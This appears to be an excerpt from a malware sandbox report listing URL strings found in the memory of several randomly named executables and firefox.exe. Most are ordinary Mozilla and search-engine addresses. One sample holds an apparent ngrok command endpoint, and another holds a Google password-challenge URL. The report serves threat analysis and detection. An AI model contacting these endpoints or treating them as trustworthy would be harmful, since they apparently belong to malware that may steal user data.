Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/TelemetryTimesta
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/GMPProvid
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: 22a4a09ee3.exe, 00000009.00000003.2669862410.0000000005912000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2824638551.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA808000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.2974318304.000001F5DBF9B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.comK
Source: 9108c36d20.exe, 0000000C.00000003.2764187644.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, 9108c36d20.exe, 0000000C.00000003.2764434642.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, 9108c36d20.exe, 0000000C.00000002.2778430097.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2973623994.000001F5DBE22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E212F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2871949894.00000090DF7D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2972219570.000001F5DBC30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E212F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdp
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 22a4a09ee3.exe, 00000009.00000003.2671378338.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2836324178.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001A.00000002.2970783529.000001F5DBA15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: 22a4a09ee3.exe, 00000009.00000003.2671378338.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2836324178.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E1883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/hsts.html
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000003.2777830670.000001F5D973C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013930619.00003952FD404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013715146.00002DDFCEE04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
